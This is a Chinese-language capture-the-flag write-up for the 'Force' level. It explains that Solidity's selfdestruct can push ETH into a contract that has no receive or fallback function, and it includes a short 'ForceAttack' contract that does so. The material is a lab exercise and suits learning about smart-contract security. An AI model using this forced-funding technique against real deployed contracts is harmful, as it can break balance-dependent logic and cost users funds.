Force
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
题目要求
给当前合约实现转账 ETH 即可
题目分析
想要给一个合约直接转账 ETH,这个合约需要实现receive
或fallback
方法。但是有一种情况是被动必须接收。就是当一个合约调用自毁方法selfdestruct
时指定了收款地址。则该地址不管是个人地址还是合约地址,都会强制接收 ETH。
攻击步骤
- 编写一个自毁合约
- 给编写的合约转账 ETH
- 调用合约的
selfdestruct
方法并指定收款地址为目标合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForceAttack {
// 设置_force为目标攻击合约
function descruct(address payable _force) external payable {
selfdestruct(_force);
}
// 首先转账ETH到当前合约
receive() external payable {}
}